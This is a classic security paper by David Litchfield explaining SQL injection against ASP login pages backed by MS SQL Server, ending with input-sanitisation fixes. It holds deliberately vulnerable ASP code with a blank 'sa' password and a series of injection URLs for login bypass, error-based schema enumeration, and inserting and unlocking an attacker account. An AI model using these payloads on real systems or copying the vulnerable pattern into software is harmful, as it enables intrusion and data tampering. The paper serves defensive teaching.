Web Application Disassembly with ODBC Error Messages

By
David Litchfield
Director of Security Architecture
@stake
http://www.atstake.com

Introduction

This document describes how to subvert the security of a Microsoft Internet Information Web Server that feeds into a SQL database. The document assumes that the web application uses Active Server Pages technology with Active Data Objects (ADO), though the same techniques can be used with other technologies. The techniques discussed here can be used to disassemble the SQL database's structure, by-pass login pages, and retrieve and modify data. This does assume that attackers can run arbitrary SQL queries, which unfortunately is all too common due to a lack of understanding, or even a complete ignorance of this problem and subsequent coding techniques in an ASP page. For example - consider the following ASP code - from a login page:

```
<%@ LANGUAGE="VBSCRIPT" %>
<%
Dim oCONv, oRSu
Set oCONv = Server.CreateObject("ADODB.Connection")
oCONv.Open "DRIVER={SQL Server};SERVER=aeneas;UID=sa;PWD=;DATABASE=paper"


Set oRSu = oCONv.Execute("SELECT * FROM tblUsers WHERE username = '" &
Request.Querystring("UserID") & "' AND password = '" & Request.Querystring("Password") & "'")
if not oRSu.EOF then
      Session("UserID") = oRSu ("username")
         Response.Redirect "loginsucceeded.asp"
  else
         Response.Redirect "loginfailed.asp"
  end if

%>
```

There are several problems with this page but before getting to those examine how it works. The client enters a user ID and password, which are passed into an SQL query, which is then executed. If the user ID and password exist in the tblUsers the SQL server's response, known as a recordset, would be populated. If the user ID and/or password do not exist then the recordset would not be populated. The ASP code then checks to see if it has and redirects the user to loginsucceeded.asp and if the recordset has not been populated the user is redirected to loginfailed.asp.

As was already stated there are several problems with this ASP page - there's an SQL login and password embedded in the code, that SQL login happens to be the most powerful account in the database and its password is still the default blank. As far as the coding is concerned though it is extremely dangerous: due to the fact that user supplied ID and password are being passed straight into the SQL query with out *first* being sanitised it gives an attacker bypass this login page. All she would need to do is populate the record set and to do this, without knowing a valid user ID and password is make the following request:

```
http://server/login.asp?userid='%20or%201=1--
```

Rather than executing the SQL query the server was supposed to i.e.

```
SELECT * FROM tblUsers WHERE username = 'foo' AND password = 'bar'
```

it executed

```
SELECT * FROM tblUsers WHERE username = '' or 1=1--
```

Due to the "or" condition in this query always evaluating to true the recordset would be populated and the attacker would be logged in.

The reason that the SQL query has been so drastically modified is because of the single quote mark in the parameter. In SQL queries strings are delimited by single quotes. Tacking on a -- on the end of the query stops SQL complaining about unclosed quote marks. This page is easy to by-pass using this "or" technique.

Extended Introduction

If this code was modified however such that an UPDATE occurred after to set, say, audit information this "or" technique would fail:

```
<%
Dim oCONv, oRSu
Set oCONv = Server.CreateObject("ADODB.Connection")
oCONv.Open "DRIVER={SQL Server};SERVER=aeneas;UID=sa;PWD=;DATABASE=paper"


Set oRSu = oCONv.Execute("SELECT * FROM tblUsers WHERE username = '" &
Request.Querystring("UserID") & "' AND password = '" & Request.Querystring("Password") & "'")
if not oRSu.EOF then
          Session("UserID") = oRSu ("username")
          Set oRSu = oCONv.Execute("exec sp_audit '" & Request.Querystring("UserID") & "'")

        Response.Redirect "loginsucceeded.asp"
  else
        Response.Redirect "loginfailed.asp"
  end if

%>
```

As can be seen the code now has an "exec sp_audit" query so when the same request is made using the "or" technique the server produces an error:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the keyword 'or'.
/login.asp, line 11
```

The reason this error occurs is because SQL queries that execute a stored procedure can't be conditional and the presence of "or" makes it so. At this point the login has failed and assuming the attacker does not have access the source of the ASP code, how can this login screen by by-passed?

Down to business

To do this the web application needs to be disassembled and this is done by using ODBC error messages.

The attacker would start by requesting

http://127.0.0.1/login.asp?userid=aaa'

Note the single quote at the end the end of this URL. This will produce the following error message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character
string 'aaa' AND password = ''.
/login.asp, line 7
```

What this has done is given the attacker a fragment of the query embedded in the ASP page - " AND password =". This also informs the attacker that one of the columns in the table is called "password". With knowledge of this it is now possible to enumerate the structure of the table where the user credentials are stored, learning its name and the name of every column in that table.

They would do this by making the following request:

http://127.0.0.1/login.asp?userid=ddd'%20group%20by%20(password)--

This would produce the following error message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tblUsers.username' is invalid in the
select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 7
```

As can be seethe attacker now has the table's name - tblUsers and the name of another column in this table - username. They would then request:

http://127.0.0.1/login.asp?userid=aaa'%20group%20by%20(username)--

producing

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'tblUsers.lastloggedin' is invalid in the
select list because it is not contained in either an aggregate function or the GROUP BY clause.
/login.asp, line 7
```

Now the attacker has a third column name. They would keep repeating this process of substituting column names in a "group by" URL to step through the table enumerating all of the columns. But when would they know that all column names have been successfully enumerated?

Assuming that the ASP code performs a "SELECT * ..." then by using UNION the attacker could then work out the number of columns in the tblUsers table.

http://127.0.0.1/login.asp?userid=aaa'%20union%20select%20username%20from%20tblusers--

This request would produce this error

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a
UNION operator must have an equal number of expressions in their target lists.
/login.asp, line 7
```

The attacker would then keep adding another username to the URL

http://127.0.0.1/login.asp?userid=aaa'%20union%20select%20username,username%20from%20tblusers--

until this error message stopped. At this point counting the number of usernames in the request would give the number of columns that exist in the tblUsers table.

Once a list of all the column names has been retrieved the attacker would then need to work out what data type the column expected. To do this the COMPUTE clause would be used providing each column name as an argument:

http://127.0.0.1/login.asp?userid=aaa'%20compute%20sum(username)--

producing the error

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation
cannot take a nvarchar data type as an argument.
/login.asp, line 7
```

As can be seen "username" is of data type nvarchar. Once this has been performed the attacker would then know the name of the table, each of the column's name in the table, and their respective expected data type. These three details are crucial if the attacker wished to INSERT into or UPDATE the table and to by-pass the login page these will be needed.

The attacker would then set about creating their own account using an INSERT query:

http://127.0.0.1/login.asp?userid=aaa' insert into tblusers(username,password,lastloggedin,status) values ('jsmith','secret','Oct 31 2000 8:52PM','foo')--

Requesting this would not produce an error - to see if it was successful however, the attacker would just attempt to logon with a username of "jsmith" and a password of "secret". They may be successful. However, imagine that they received a message stating that their account was locked out. Notice in the above URL (%20s stripped out for clarity's sake) that one of the columns is called "status" - and the value "foo" was inserted. It would be a fair assumption to say that if the account were locked out this "status" column would hold the information about this. The attacker would need to set this value to what the *application* expects for it to consider the account *not* to be locked out. But how would the attacker know what to insert in this field? They wouldn't but if they could update it with the value of another user's value then this should give the application what it expects for the account not to be locked out.

The difficulty with this is retrieving a results set with only one row. This can be done however using aggregate functions - MIN and MAX. A request would be made similar to

http://127.0.0.1/login.asp?userid=aaa' UPDATE tblusers SET status = (select min(status) from tblusers) where username = 'jsmith'

This query would produce one row in the recordset and update jsmith's "status" with the row that on evaluation produced the smallest value.

All going according to plan the attacker has now by-passed the login page.

Summary

Obviously the techniques described here could be used not just for by-passing login pages but also for enumerating the database tables so that data could be returned with query using the UNION operator - they bypass the issue that calling a "select * from sysobjects" as a second query would not have the results returned in the recordset and printed back to the client's screen.

The fix

All of this would "go away" if the ASP coder properly sanitised user input before letting it anywhere near an SQL query. Depending upon whether the input is a string or a number different methods are used.

For strings the *replace()* function can be used.

```
Replace(Request.Querystring("foobar"), "'", "")
```

This would replace an occurrence of a single quote with nothing - effectively stripping them out. In cases where there needed to be a single quote, though, say in a name like "O'Malley" or a user wishes to have a single quote in their password however the fix would be

```
Replace(Request.Querystring("foobar"), "'", "' '")
```

replacing a single quote with a two single quotes - the way to escape single quotes in SQL.

If the input in question is numeric then using CInt will produce an error if the input is not a number. Alternatively it is possible to use IsNumeric() or in jscript IsNaN()